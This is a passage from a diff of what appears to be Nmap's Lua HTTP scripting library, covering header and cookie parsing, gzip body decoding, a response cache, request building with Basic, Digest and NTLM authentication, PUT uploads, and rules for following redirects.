+ while not string.match(header, "^[ \t]", pos) and
+ not string.match(header, "^\r?\n", pos) do
+ pos = pos + 1
+ end
+ words[#words + 1] = string.sub(header, s, pos - 1)
+ pos = skip_lws(header, pos)
+ end
+
+ if name then
+ -- Set it in our table.
+ name = string.lower(name)
+ local value = table.concat(words, " ")
+ if response.header[name] then
+ -- TODO: delay concatenation until return to avoid resource exhaustion
+ response.header[name] = response.header[name] .. ", " .. value
+ else
+ response.header[name] = value
+ end
+
+ -- Update the cookie table if this is a Set-Cookie header
+ if name == "set-cookie" then
+ local cookie, err = parse_set_cookie(value)
+ if cookie then
+ response.cookies[#response.cookies + 1] = cookie
+ else
+ -- Ignore any cookie parsing error
+ end
+ end
+ end
+
+ -- Next field, or end of string. (If not it's an error.)
+ s, e = string.find(header, "^\r?\n", pos)
+ if not e then
+ return nil, string.format("Header field named %q didn't end with CRLF", name)
+ end
+ pos = e + 1
+ end
+
+ return true
+end
+
+-- Parse the contents of a Set-Cookie header field.
+-- The result is a table of the form
+--
+-- { name = "NAME", value = "VALUE", Comment = "...", Domain = "...", ... }
+--
+-- Every key except "name" and "value" is optional.
+--
+-- This function attempts to support the header parser defined in RFC 6265,
+-- Section 5.2.
+--
+-- This parser used to support quoted strings for cookie and attribute values
+-- but this behavior was breaking interoperability.
+parse_set_cookie = function (s)
+ local name, value
+ local _, pos
+
+ local cookie = {}
+ s = s:gsub(";", "; ")
+
+ -- Get the NAME=VALUE part.
+ _, pos, cookie.name, cookie.value = s:find("^[ \t]*(.-)[ \t]*=[ \t]*(.-)[ \t]*%f[;\0]")
+ if not (cookie.name or ""):find("^[^;]+$") then
+ return nil, "Can't get cookie name."
+ end
+ pos = pos + 1
+
+ -- Loop over the attributes.
+ while s:sub(pos, pos) == ";" do
+ _, pos, name = s:find("[ \t]*(.-)[ \t]*%f[=;\0]", pos + 1)
+ pos = pos + 1
+ if s:sub(pos, pos) == "=" then
+ _, pos, value = s:find("[ \t]*(.-)[ \t]*%f[;\0]", pos + 1)
+ pos = pos + 1
+ else
+ value = ""
+ end
+ name = name:lower()
+ if not (name == "" or name == "name" or name == "value") then
+ cookie[name] = value
+ end
+ end
+
+ return cookie
+end
+
+--- Attempt to repeatedly decode HTTP response body according to a given list
+-- of named encodings.
+--
+-- @param body A string representing the raw, undecoded response body.
+-- @param encodings A list of encodings (string or table)
+-- @param maxlen A size limit for the decoded body
+-- @return A decoded body
+-- @return A list of encodings that were successfully applied
+-- @return A list of encodings that remain to be applied to decode the body
+-- completely.
+-- @return Error string (if any)
+-- @return Partially decoded body. For corrupted encoding, this is the body
+-- still undecoded. For oversized body, this is a portion of the decoded
+-- body, up to the size limit.
+local decode_body = function (body, encodings, maxlen)
+ if not encodings then return body end
+
+ if type(encodings) == "string" then
+ encodings = stringaux.strsplit("%W+", encodings)
+ end
+ assert(type(encodings) == "table", "Invalid encoding specification")
+
+ local decoded = {}
+ local undecoded = tableaux.tcopy(encodings)
+ while #undecoded > 0 do
+ local enc = undecoded[1]:lower()
+ if enc == "identity" then
+ -- do nothing
+ table.insert(decoded, table.remove(undecoded, 1))
+ elseif enc == "gzip" and have_zlib then
+ local stream = zlib.inflate(body)
+ local status, newbody = pcall(stream.read, stream,
+ maxlen and (maxlen + 1) or "*a")
+ stream:close()
+ if not status then
+ return nil, decoded, undecoded,
+ ("Corrupted Content-Encoding: " .. enc), body
+ end
+ table.insert(decoded, table.remove(undecoded, 1))
+ newbody = newbody or ""
+ if maxlen and #newbody > maxlen then
+ return nil, decoded, undecoded, ERR_OVERSIZED_BODY, newbody:sub(1, maxlen)
+ end
+ body = newbody
+ else
+ stdnse.debug1("Unsupported Content-Encoding: %s", enc)
+ break
+ end
+ end
+
+ return body, decoded, undecoded
+end
+
+-- Read one response from the socket <code>s</code> and return it after
+-- parsing.
+--
+-- In case of an error, an error message and a partially received response
+-- (if any) are returned as additional values.
+local function next_response(s, method, partial, options)
+ local response
+ local status_line, header, body, fragment
+ local status, err
+
+ partial = partial or ""
+ response = {
+ status=nil,
+ ["status-line"]=nil,
+ header={},
+ rawheader={},
+ cookies={},
+ rawbody="",
+ body="",
+ truncated = nil
+ }
+
+ status_line, partial = recv_line(s, partial)
+ if not status_line then
+ return nil, partial, response
+ end
+
+ status, err = parse_status_line(status_line, response)
+ if not status then
+ return nil, err, response
+ end
+
+ header, partial = recv_header(s, partial)
+ if not header then
+ return nil, partial, response
+ end
+ status, err = parse_header(header, response)
+ if not status then
+ return nil, err, response
+ end
+
+ options = options or {}
+ local maxlen = math.floor(options.max_body_size or MAX_BODY_SIZE)
+ if maxlen < 0 then
+ maxlen = nil
+ end
+ local truncated_ok = options.truncated_ok
+ if truncated_ok == nil then
+ truncated_ok = TRUNCATED_OK
+ end
+
+ body, partial, fragment = recv_body(s, response, method, partial, maxlen)
+ response.rawbody = body or fragment
+ response.body = response.rawbody
+ if not body then
+ if partial ~= ERR_OVERSIZED_BODY then
+ return nil, partial, response
+ end
+ response.truncated = true
+ if not truncated_ok then
+ return nil, ("Received " .. ERR_OVERSIZED_BODY), response
+ end
+ end
+
+ if response.header["content-encoding"] then
+ local dcd, undcd
+ body, dcd, undcd, err, fragment = decode_body(body, response.header["content-encoding"], maxlen)
+ response.body = body or fragment
+ response.decoded = dcd
+ response.undecoded = undcd
+ if not body then
+ if err ~= ERR_OVERSIZED_BODY then
+ return nil, err, response
+ end
+ response.truncated = true
+ if not truncated_ok then
+ return nil, ("Decoded " .. ERR_OVERSIZED_BODY), response
+ end
+ else
+ if response.header["content-length"] then
+ response.header["content-length"] = tostring(#body)
+ end
+ end
+ response.header["content-encoding"] = #undcd > 0 and table.concat(undcd, ", ") or nil
+ end
+
+ return response, partial
+end
+
+--- Tries to extract the max number of requests that should be made on
+-- a keep-alive connection based on "Keep-Alive: timeout=xx,max=yy" response
+-- header.
+--
+-- If the value is not available, an arbitrary value is used. If the connection
+-- is not explicitly closed by the server, this same value is attempted.
+--
+-- @param response The HTTP response table
+-- @return The max number of requests on a keep-alive connection
+local function get_pipeline_limit(response)
+ -- Allow users to override this with a script-arg
+ local pipeline = tonumber(stdnse.get_script_args({'http.pipeline', 'pipeline'}))
+
+ if pipeline then
+ return pipeline
+ end
+
+ if response then
+ local hdr = response.header or {}
+ local opts = stringaux.strsplit("[,%s]+", (hdr.connection or ""):lower())
+ if tableaux.contains(opts, "close") then return 1 end
+ if response.version >= "1.1" or tableaux.contains(opts, "keep-alive") then
+ return 1 + (tonumber((hdr["keep-alive"] or ""):match("max=(%d+)")) or 39)
+ end
+ end
+ return 1
+end
+
+--- Builds a string to be added to the request mod_options table
+--
+-- @param cookies A cookie jar just like the table returned by parse_set_cookie.
+-- @param path If the argument exists, only cookies with this path are included in the request
+-- @return A string to be added to the mod_options table
+local function buildCookies(cookies, path)
+ if type(cookies) == 'string' then return cookies end
+ local cookie = {}
+ for _, ck in ipairs(cookies or {}) do
+ local ckpath = ck["path"]
+ if not path or not ckpath
+ or ckpath == path
+ or ckpath:sub(-1) == "/" and ckpath == path:sub(1, ckpath:len())
+ or ckpath .. "/" == path:sub(1, ckpath:len()+1)
+ then
+ cookie[#cookie+1] = ck["name"] .. "=" .. ck["value"]
+ end
+ end
+ return table.concat(cookie, "; ")
+end
+
+-- HTTP cache.
+-- Cache of GET and HEAD requests. Uses <"host:port:path", record>.
+-- record is in the format:
+-- result: The result from http.get or http.head
+-- last_used: The time the record was last accessed or made.
+-- get: Was the result received from a request to get or recently wiped?
+-- size: The size of the record, equal to #record.result.body.
+local cache = {size = 0};
+
+local function cmp_last_used (r1, r2)
+ return (r1.last_used or 0) < (r2.last_used or 0);
+end
+
+local arg_max_cache_size = tonumber(stdnse.get_script_args({'http.max-cache-size', 'http-max-cache-size'}) or 1e6);
+local function check_size (cache)
+
+ local size = cache.size;
+
+ if size > arg_max_cache_size then
+ stdnse.debug1(
+ "Current http cache size (%d bytes) exceeds max size of %d",
+ size, arg_max_cache_size);
+ table.sort(cache, cmp_last_used);
+
+ for i, record in ipairs(cache) do
+ if size <= arg_max_cache_size then break end
+ local result = record.result;
+ if type(result.body) == "string" then
+ size = size - record.size;
+ record.size, record.get, result.body = 0, false, "";
+ end
+ end
+ cache.size = size;
+ end
+ stdnse.debug2("Final http cache size (%d bytes) of max size of %d",
+ size, arg_max_cache_size);
+ return size;
+end
+
+-- Unique value to signal value is being retrieved.
+-- Also holds <mutex, thread> pairs, working thread is value
+local WORKING = setmetatable({}, {__mode = "v"});
+
+local function lookup_cache (method, host, port, path, options)
+ if(not(validate_options(options))) then
+ return nil
+ end
+
+ options = options or {};
+ local bypass_cache = options.bypass_cache; -- do not lookup
+ local no_cache = options.no_cache; -- do not save result
+ local no_cache_body = options.no_cache_body; -- do not save body
+
+ if type(port) == "table" then port = port.number end
+
+ local key = ascii_hostname(host)..":"..port..":"..path;
+ local mutex = nmap.mutex(tostring(lookup_cache)..key);
+
+ local state = {
+ mutex = mutex,
+ key = key,
+ method = method,
+ bypass_cache = bypass_cache,
+ no_cache = no_cache,
+ no_cache_body = no_cache_body,
+ };
+
+ while true do
+ mutex "lock";
+ local record = cache[key];
+ if bypass_cache or record == nil or method ~= record.method then
+ WORKING[mutex] = coroutine.running();
+ cache[key], state.old_record = WORKING, record;
+ return nil, state;
+ elseif record == WORKING then
+ local working = WORKING[mutex];
+ if working == nil or coroutine.status(working) == "dead" then
+ -- thread died before insert_cache could be called
+ cache[key] = nil; -- reset
+ end
+ mutex "done";
+ else
+ mutex "done";
+ record.last_used = os.time();
+ return tableaux.tcopy(record.result), state;
+ end
+ end
+end
+
+local function response_is_cacheable(response)
+ -- if response.status is nil, then an error must have occurred during the request
+ -- and we probably don't want to cache the response
+ if not response.status then
+ return false
+ end
+
+ -- 206 Partial Content. RFC 2616, 1.34: "...a cache that does not support the
+ -- Range and Content-Range headers MUST NOT cache 206 (Partial Content)
+ -- responses."
+ if response.status == 206 then
+ return false
+ end
+
+ -- RFC 2616, 13.4. "A response received with any [status code other than 200,
+ -- 203, 206, 300, 301 or 410] (e.g. status codes 302 and 307) MUST NOT be
+ -- returned in a reply to a subsequent request unless there are cache-control
+ -- directives or another header(s) that explicitly allow it."
+ -- We violate the standard here and allow these other codes to be cached,
+ -- with the exceptions listed below.
+
+ -- 401 Unauthorized. Caching this would prevent us from retrieving it later
+ -- with the correct credentials.
+ if response.status == 401 then
+ return false
+ end
+
+ -- It is not desirable to cache a truncated response because it could poison
+ -- subsequent requests with different options max-body-size or truncated_ok.
+ if response.truncated then
+ return false
+ end
+
+ return true
+end
+
+local function insert_cache (state, response)
+ local key = assert(state.key);
+ local mutex = assert(state.mutex);
+
+ if response == nil or state.no_cache or not response_is_cacheable(response) then
+ cache[key] = state.old_record;
+ else
+ local record = {
+ result = tableaux.tcopy(response),
+ last_used = os.time(),
+ method = state.method,
+ size = type(response.body) == "string" and #response.body or 0,
+ };
+ response = record.result; -- only modify copy
+ cache[key], cache[#cache+1] = record, record;
+ if state.no_cache_body then
+ response.body = "";
+ end
+ if type(response.body) == "string" then
+ cache.size = cache.size + #response.body;
+ check_size(cache);
+ end
+ end
+ mutex "done";
+end
+
+-- Return true if the given method requires a body in the request. In case no
+-- body was supplied we must send "Content-Length: 0".
+local function request_method_needs_content_length(method)
+ return method == "POST"
+end
+
+-- For each of the following request functions, <code>host</code> may either be
+-- a string or a table, and <code>port</code> may either be a number or a
+-- table.
+--
+-- The format of the return value is a table with the following structure:
+-- {status = 200, status-line = "HTTP/1.1 200 OK", header = {}, rawheader = {}, body ="<html>...</html>"}
+-- The header table has an entry for each received header with the header name
+-- being the key. The table also has an entry named "status" which contains the
+-- http status code of the request.
+-- In case of an error, the status is nil, status-line describes the problem,
+-- and member "incomplete" contains a partially received response (if any).
+
+local function http_error(status_line, response)
+ stdnse.debug2("HTTP response error: %s", status_line)
+ return {
+ status = nil,
+ ["status-line"] = status_line,
+ header = {},
+ rawheader = {},
+ body = nil,
+ rawbody = nil,
+ truncated = nil,
+ incomplete = response
+ }
+end
+
+--- Build an HTTP request from parameters and return it as a string.
+--
+-- @param host The host this request is intended for.
+-- @param port The port this request is intended for.
+-- @param method The method to use.
+-- @param path The path for the request.
+-- @param options A table of options, which may include the keys:
+-- * <code>header</code>: A table containing additional headers to be used for the request.
+-- * <code>content</code>: The content of the message (content-length will be added -- set header['Content-Length'] to override)
+-- * <code>cookies</code>: A table of cookies in the form returned by <code>parse_set_cookie</code>.
+-- * <code>auth</code>: A table containing the keys <code>username</code> and <code>password</code>.
+-- @return A request string.
+-- @see generic_request
+local function build_request(host, port, method, path, options)
+ if(not(validate_options(options))) then
+ return nil
+ end
+ options = options or {}
+
+ -- Private copy of the options table, used to add default header fields.
+ local mod_options = {
+ header = {
+ Connection = "close",
+ Host = get_host_field(host, port, options.scheme),
+ ["User-Agent"] = USER_AGENT
+ }
+ }
+
+ if options.cookies then
+ local cookies = buildCookies(options.cookies, path)
+ if #cookies > 0 then
+ mod_options.header["Cookie"] = cookies
+ end
+ end
+
+ if options.auth and not (options.auth.digest or options.auth.ntlm) then
+ local username = options.auth.username
+ local password = options.auth.password
+ local credentials = "Basic " .. base64.enc(username .. ":" .. password)
+ mod_options.header["Authorization"] = credentials
+ end
+
+ if options.digestauth then
+ local order = {"username", "realm", "nonce", "digest-uri", "algorithm", "response", "qop", "nc", "cnonce"}
+ local no_quote = {algorithm=true, qop=true, nc=true}
+ local creds = {}
+ for _,k in ipairs(order) do
+ local v = options.digestauth[k]
+ if v then
+ if no_quote[k] then
+ table.insert(creds, ("%s=%s"):format(k,v))
+ else
+ if k == "digest-uri" then
+ table.insert(creds, ('%s="%s"'):format("uri",v))
+ else
+ table.insert(creds, ('%s="%s"'):format(k,v))
+ end
+ end
+ end
+ end
+ local credentials = "Digest "..table.concat(creds, ", ")
+ mod_options.header["Authorization"] = credentials
+ end
+
+ if options.ntlmauth then
+ mod_options.header["Authorization"] = "NTLM " .. base64.enc(options.ntlmauth)
+ end
+
+
+ local body
+ -- Build a form submission from a table, like "k1=v1&k2=v2".
+ if type(options.content) == "table" then
+ local parts = {}
+ for k, v in pairs(options.content) do
+ parts[#parts + 1] = url.escape(k) .. "=" .. url.escape(v)
+ end
+ body = table.concat(parts, "&")
+ mod_options.header["Content-Type"] = "application/x-www-form-urlencoded"
+ elseif options.content then
+ body = options.content
+ elseif request_method_needs_content_length(method) then
+ body = ""
+ end
+ if body then
+ mod_options.header["Content-Length"] = #body
+ end
+
+ -- Add any other header fields into the local copy.
+ table_augment(mod_options, options)
+ -- We concat this string manually to allow null bytes in requests
+ local request_line = method.." "..path.." HTTP/1.1"
+ local header = {}
+ for name, value in pairs(mod_options.header) do
+ -- we concat this string manually to allow null bytes in requests
+ header[#header + 1] = name..": "..value
+ end
+
+ return request_line .. "\r\n" .. table.concat(header, "\r\n") .. "\r\n\r\n" .. (body or "")
+end
+
+--- A wrapper for comm.tryssl that strictly obeys options.scheme. If it is
+-- "https" then only SSL connection is attempted. If "http" then there is no
+-- HTTPS fallback.
+local function do_connect(host, port, data, options)
+ if options.scheme == "https" or options.scheme == "http" then
+ -- If the scheme is specifically requested (e.g.
+ -- get_url("https://example.com")) then don't fall back.
+ return comm.opencon(host, port, data, {
+ timeout = options.timeout,
+ any_af = options.any_af,
+ proto = (options.scheme == "https" and "ssl" or "tcp"),
+ })
+ end
+ return comm.tryssl(host, port, data, {timeout = options.timeout, any_af = options.any_af})
+end
+
+--- Send a string to a host and port and return the HTTP result. This function
+-- is like <code>generic_request</code>, to be used when you have a ready-made
+-- request, not a collection of request parameters.
+--
+-- @param host The host to connect to.
+-- @param port The port to connect to.
+-- @param options A table of other parameters. It may have any of these fields:
+-- * <code>timeout</code>: A timeout used for socket operations.
+-- * <code>header</code>: A table containing additional headers to be used for the request.
+-- * <code>content</code>: The content of the message (content-length will be added -- set header['Content-Length'] to override)
+-- * <code>cookies</code>: A table of cookies in the form returned by <code>parse_set_cookie</code>.
+-- * <code>auth</code>: A table containing the keys <code>username</code> and <code>password</code>.
+-- @return A response table, see module documentation for description.
+-- @see generic_request
+local function request(host, port, data, options)
+ if(not(validate_options(options))) then
+ return http_error("Options failed to validate.")
+ end
+ local method
+ local response
+
+ options = options or {}
+
+ if type(port) == 'table' then
+ if port.protocol and port.protocol ~= 'tcp' then
+ stdnse.debug1("http.request() supports the TCP protocol only, your request to %s cannot be completed.", host)
+ return http_error("Unsupported protocol.")
+ end
+ end
+
+ method = string.match(data, "^(%S+)")
+
+ local socket, partial, opts = do_connect(host, port, data, options)
+
+ if not socket then
+ stdnse.debug1("http.request socket error: %s", partial)
+ return http_error("Error creating socket.")
+ end
+
+ repeat
+ local incomplete
+ response, partial, incomplete = next_response(socket, method, partial, options)
+ if not response then
+ return http_error("Error in next_response function; " .. partial, incomplete)
+ end
+ -- See RFC 2616, sections 8.2.3 and 10.1.1, for the 100 Continue status.
+ -- Sometimes a server will tell us to "go ahead" with a POST body before
+ -- sending the real response. If we got one of those, skip over it.
+ until not (response.status >= 100 and response.status <= 199)
+
+ socket:close()
+
+ -- if SSL was used to retrieve the URL mark this in the response
+ response.ssl = ( opts == 'ssl' )
+
+ return response
+end
+
+---Do a single request with a given method. The response is returned as the standard
+-- response table (see the module documentation).
+--
+-- The <code>get</code>, <code>head</code>, and <code>post</code> functions are simple
+-- wrappers around <code>generic_request</code>.
+--
+-- Any 1XX (informational) responses are discarded.
+--
+-- @param host The host to connect to.
+-- @param port The port to connect to.
+-- @param method The method to use; for example, 'GET', 'HEAD', etc.
+-- @param path The path to retrieve.
+-- @param options [optional] A table that lets the caller control socket timeouts, HTTP headers, and other parameters. For full documentation, see the module documentation (above).
+-- @return A response table, see module documentation for description.
+-- @see request
+function generic_request(host, port, method, path, options)
+ if(not(validate_options(options))) then
+ return http_error("Options failed to validate.")
+ end
+
+ local digest_auth = options and options.auth and options.auth.digest
+ local ntlm_auth = options and options.auth and options.auth.ntlm
+
+ if (digest_auth or ntlm_auth) and not have_ssl then
+ stdnse.debug1("http: digest and ntlm auth require openssl.")
+ end
+
+ if digest_auth and have_ssl then
+ -- If we want to do digest authentication, we have to make an initial
+ -- request to get realm, nonce and other fields.
+ local options_with_auth_removed = tableaux.tcopy(options)
+ options_with_auth_removed["auth"] = nil
+ local r = generic_request(host, port, method, path, options_with_auth_removed)
+ local h = r.header['www-authenticate']
+ if not (r.status and h and h:lower():find("digest.-realm")) then
+ stdnse.debug1("http: the target doesn't support digest auth or there was an error during request.")
+ return http_error("The target doesn't support digest auth or there was an error during request.")
+ end
+ -- Compute the response hash
+ local dmd5 = sasl.DigestMD5:new(h, options.auth.username, options.auth.password, method, path)
+ local _, digest_table = dmd5:calcDigest()
+ options.digestauth = digest_table
+ end
+
+ if ntlm_auth and have_ssl then
+
+ local custom_options = tableaux.tcopy(options) -- to be sent with the type 1 request
+ custom_options["auth"] = nil -- removing the auth options
+ -- let's check if the target supports ntlm with a simple get request.
+ -- Setting a timeout here other than nil messes up the authentication if this is the first device sending
+ -- a request to the server. Don't know why.
+ custom_options.timeout = nil
+ local response = generic_request(host, port, method, path, custom_options)
+ local authentication_header = response.header['www-authenticate']
+ -- get back the timeout option.
+ custom_options.timeout = options.timeout
+ -- cannot deal with truncated responses here
+ custom_options.truncated_ok = false
+ custom_options.header = options.header or {}
+ custom_options.header["Connection"] = "Keep-Alive" -- Keep-Alive headers are needed for authentication.
+
+ if (not authentication_header) or (not response.status) or (not string.find(authentication_header:lower(), "ntlm")) then
+ stdnse.debug1("http: the target doesn't support NTLM or there was an error during request.")
+ return http_error("The target doesn't support NTLM or there was an error during request.")
+ end
+
+ -- ntlm works with three messages. we send a request, it sends
+ -- a challenge, we respond to the challenge.
+ local hostname = options.auth.hostname or "localhost" -- the hostname to be sent
+ local workstation_name = options.auth.workstation_name or "NMAP" -- the workstation name to be sent
+ local username = options.auth.username -- the username as specified
+
+ local auth_blob = "NTLMSSP\x00" .. -- NTLM signature
+ "\x01\x00\x00\x00" .. -- NTLM Type 1 message
+ string.pack("<I4", 0xa208b207) .. -- flags 56, 128, Version, Extended Security, Always Sign, Workstation supplied, Domain Supplied, NTLM Key, OEM, Unicode
+ string.pack("<I2I2I4 I2I2I4",#workstation_name, #workstation_name, 40 + #hostname, #hostname, #hostname, 40) .. -- Supplied Domain and Workstation
+ string.pack("BB<I2", -- OS version info
+ 5, 1, 2600) .. -- 5.1.2600
+ "\x00\x00\x00\x0f" .. -- OS version info end (static 0x0000000f)
+ hostname.. -- HOST NAME
+ workstation_name --WORKSTATION name
+
+ custom_options.ntlmauth = auth_blob
+
+ -- check if the protocol is tcp
+ if type(port) == 'table' then
+ if port.protocol and port.protocol ~= 'tcp' then
+ stdnse.debug1("NTLM authentication supports the TCP protocol only, your request to %s cannot be completed.", host)
+ return http_error("Unsupported protocol.")
+ end
+ end
+
+ -- sends the type 1 message.
+ local socket, partial, opts = do_connect(host, port, build_request(host, port, method, path, custom_options), options)
+
+ if not socket then
+ return http_error("Could not create socket to send type 1 message.")
+ end
+
+ repeat
+ local incomplete
+ response, partial, incomplete = next_response(socket, method, partial, custom_options)
+ if not response then
+ return http_error("There was error in receiving response of type 1 message; " .. partial, incomplete)
+ end
+ until not (response.status >= 100 and response.status <= 199)
+
+ authentication_header = response.header['www-authenticate']
+ -- take out the challenge
+ local type2_response = authentication_header:sub(authentication_header:find(' ')+1, -1)
+ local _, message_type, _, _, _, flags_received, challenge= string.unpack("<c8 I4 I2I2I4 I4 c8", base64.dec(type2_response))
+ -- check if the response is a type 2 message.
+ if message_type ~= 0x02 then
+ stdnse.debug1("Expected type 2 message as response.")
+ return
+ end
+
+ local is_unicode = ((flags_received & 0x00000001) == 0x00000001) -- 0x00000001 UNICODE Flag
+ local is_extended = ((flags_received & 0x00080000) == 0x00080000) -- 0x00080000 Extended Security Flag
+ local type_3_flags = 0xa2888206 -- flags 56, 128, Version, Target Info, Extended Security, Always Sign, NTLM Key, OEM
+
+ local lanman, ntlm
+ if is_extended then
+ -- this essentially calls the new ntlmv2_session_response function in smbauth.lua and returns whatever it returns
+ lanman, ntlm = smbauth.get_password_response(nil, username, "", options.auth.password, nil, "ntlmv2_session", challenge, true)
+ else
+ lanman, ntlm = smbauth.get_password_response(nil, username, "", options.auth.password, nil, "ntlm", challenge, false)
+ type_3_flags = type_3_flags - 0x00080000 -- Removing the Extended Security Flag as server doesn't support it.
+ end
+
+ local domain = ""
+ local session_key = ""
+
+ -- if server supports unicode, then strings are sent in unicode format.
+ if is_unicode then
+ username = unicode.utf8to16(username)
+ hostname = unicode.utf8to16(hostname)
+ type_3_flags = type_3_flags - 0x00000001 -- OEM flag is 0x00000002. removing 0x00000001 results in UNICODE flag.
+ end
+
+ local BASE_OFFSET = 72 -- Version 3 -- The Session Key<empty in our case>, flags, and OS Version structure are all present.
+
+ auth_blob = string.pack("<z I4 I2I2I4 I2I2I4 I2I2I4 I2I2I4 I2I2I4 I2I2I4 I4 BBI2",
+ "NTLMSSP",
+ 0x00000003,
+ #lanman,
+ #lanman,
+ BASE_OFFSET + #username + #hostname,
+ ( #ntlm ),
+ ( #ntlm ),
+ BASE_OFFSET + #username + #hostname + #lanman,
+ #domain,
+ #domain,
+ BASE_OFFSET,
+ #username,
+ #username,
+ BASE_OFFSET,
+ #hostname,
+ #hostname,
+ BASE_OFFSET + #username,
+ #session_key,
+ #session_key,
+ BASE_OFFSET + #username + #hostname + #lanman + #ntlm,
+ type_3_flags,
+ 5,
+ 1,
+ 2600)
+ .. "\x00\x00\x00\x0f"
+ .. username
+ .. hostname
+ .. lanman
+ .. ntlm
+
+ custom_options.ntlmauth = auth_blob
+ socket:send(build_request(host, port, method, path, custom_options))
+
+ repeat
+ local incomplete
+ response, partial, incomplete = next_response(socket, method, partial, options)
+ if not response then
+ return http_error("There was error in receiving response of type 3 message; " .. partial, incomplete)
+ end
+ until not (response.status >= 100 and response.status <= 199)
+
+ socket:close()
+ response.ssl = ( opts == 'ssl' )
+
+ return response
+ end
+
+ return request(host, port, build_request(host, port, method, path, options), options)
+end
+
+---Uploads a file using the PUT method and returns a result table. This is a simple wrapper
+-- around <code>generic_request</code>
+--
+-- @param host The host to connect to.
+-- @param port The port to connect to.
+-- @param path The path to retrieve.
+-- @param options [optional] A table that lets the caller control socket timeouts, HTTP headers, and other parameters. For full documentation, see the module documentation (above).
+-- @param putdata The contents of the file to upload
+-- @return A response table, see module documentation for description.
+-- @see http.generic_request
+function put(host, port, path, options, putdata)
+ if(not(validate_options(options))) then
+ return http_error("Options failed to validate.")
+ end
+ if ( not(putdata) ) then
+ return http_error("No file to PUT.")
+ end
+ local mod_options = {
+ content = putdata,
+ }
+ table_augment(mod_options, options or {})
+ return generic_request(host, port, "PUT", path, mod_options)
+end
+
+local function domain (h)
+ return (h:match("%..+%..+") or h):lower()
+end
+-- A battery of tests a URL is subjected to in order to decide if it may be
+-- redirected to.
+local redirect_ok_rules = {
+
+ -- Check if there's any credentials in the url
+ function (url, host, port)
+ -- bail if userinfo is present
+ return not url.userinfo
+ end,
+
+ -- Check if the location is within the domain or host
+ --
+ -- Notes:
+ -- * A domain match must be exact and at least a second-level domain
+ -- * ccTLDs are not treated as such. The rule will not stop a redirect
+ -- from foo.co.uk to bar.co.uk even though it logically should.
+ function (url, host, port)
+ local hostname = ascii_hostname(host)
+ if hostname == host.ip then
+ return url.host == hostname
+ end
+ return domain(hostname) == domain(url.host)
+ end,
+
+ -- Check whether the new location has the same port number
+ function (url, host, port)
+ -- port fixup, adds default ports 80 and 443 in case no url.port was
+ -- defined, we do this based on the url scheme
+ local url_port = url.port or get_default_port(url.scheme)
+ if not url_port or url_port == port.number then
+ return true
+ end
+ return false
+ end,
+
+ -- Check whether the url.scheme matches the port.service
+ function (url, host, port)
+ -- if url.scheme is present then it must match the scanned port
+ if url.scheme and url.port then return true end
+ if url.scheme and url.scheme ~= port.service then return false end
+ return true
+ end,
+
+ -- make sure we're actually being redirected somewhere and not to the same url
+ function (url, host, port)
+ -- url.path must be set if returning true
+ -- path cannot be unchanged unless host has changed
+ -- TODO: Since we do not know here what the actual old path was then
+ -- the effectiveness of this code is a bit unclear.
+ if not url.path then return false end
+ if url.path == "/" and url.host == (host.targetname or host.ip) then return false end
+ return true
+ end,
+}
+
+--- Provides the default behavior for HTTP redirects.
+--
+-- Redirects will be followed unless they:
+-- * contain credentials
+-- * are on a different domain or host
+-- * have a different port number or URI scheme
+-- * redirect to the same URI
+-- * exceed the maximum number of redirects specified
+-- @param host table as received by the action function
+-- @param port table as received by the action function
+-- @param counter number of redirects to follow.
+-- @return a default closure suitable for option "redirect_ok"
+function redirect_ok(host, port, counter)
+ -- convert a numeric port to a table
+ if ( "number" == type(port) ) then
+ port = { number = port }
+ end
+ return function(url)
+ if ( counter == 0 ) then return false end
+ counter = counter - 1
+ for i, rule in ipairs( redirect_ok_rules ) do
+ if ( not(rule( url, host, port )) ) then
+ --stdnse.debug1("Rule failed: %d", i)
+ return false
+ end
+ end
+ return true
+ end
+end
+
+--- Handles a HTTP redirect
+-- @param host table as received by the script action function
+-- @param port table as received by the script action function
+-- @param path string
+-- @param response table as returned by http.get or http.head
+-- @return url table as returned by <code>url.parse</code> or nil if there's no
+-- redirect taking place
+function parse_redirect(host, port, path, response)
+ if ( not(tostring(response.status):match("^30[01237]$")) or
+ not(response.header) or
+ not(response.header.location) ) then
+ return nil
+ end
+ port = ( "number" == type(port) ) and { number = port } or port
+ local u = url.parse(response.header.location)
+ if ( not(u.host) ) then
+ -- we're dealing with a relative url
+ u.host = ascii_hostname(host)
+ end
+ -- do port fixup
+ u.port = u.port or get_default_port(u.scheme) or port.number
+ if ( not(u.path) ) then
+ u.path = "/"
+ end
+ u.path = url.absolute(path, u.path)
+ if ( u.query ) then
+ u.path = ("%s?%s"):format( u.path, u.query )
+ end
+ return u
+end
+
+local ret_false = function () return false end
+-- Retrieves the correct function to use to validate HTTP redirects
+-- @param host table as received by the action function
+-- @param port table as received by the action function
+-- @param options table as passed to http.get or http.head
+-- @return redirect_ok function used to validate HTTP redirects
+local function get_redirect_ok(host, port, options)
+ if ( options ) then
+ if ( options.redirect_ok == false ) then
+ return ret_false
+ elseif( "function" == type(options.redirect_ok) ) then
+ return options.redirect_ok(host, port)
+ elseif( type(options.redirect_ok) == "number") then
+ return redirect_ok(host, port, options.redirect_ok)
+ else
+ return redirect_ok(host, port, MAX_REDIRECT_COUNT)
+ end
+ else
+ return redirect_ok(host, port, MAX_REDIRECT_COUNT)
+ end
+end
+
+---Fetches a resource with a GET request and returns the result as a table.
+--
+-- This is a simple wrapper around <code>generic_request</code>, with the added
+-- benefit of having local caching and support for HTTP redirects. Redirects
+-- are followed only if they pass all the validation rules of the redirect_ok
+-- function. This function may be overridden by supplying a custom function in
+-- the <code>redirect_ok</code> field of the options array. The default
+-- function redirects the request if the destination is:
+-- * Within the same host or domain
+-- * Has the same port number
+-- * Stays within the current scheme
+-- * Does not exceed <code>MAX_REDIRECT_COUNT</code> count of redirects
+--
+-- Caching and redirects can be controlled in the <code>options</code> array,
+-- see module documentation for more information.
+--
+-- @param host The host to connect to.
+-- @param port The port to connect to.
+-- @param path The path to retrieve.
+-- @param options [optional] A table that lets the caller control socket
+-- timeouts, HTTP headers, and other parameters. For full
+-- documentation, see the module documentation (above).
+-- @return A response table, see module documentation for description.
+-- @see http.generic_request
+function get(host, port, path, options)
+ if(not(validate_options(options))) then
+ return http_error("Options failed to validate.")
+ end
+ options = options or {}
+ local redir_check = get_redirect_ok(host, port, options)
+ local response, state, location
+ local u = { host = host, port = port, path = path }
+ repeat
+ response, state = lookup_cache("GET", u.host, u.port, u.path, options);
+ if ( response == nil ) then
+ response = generic_request(u.host, u.port, "GET", u.path, options)
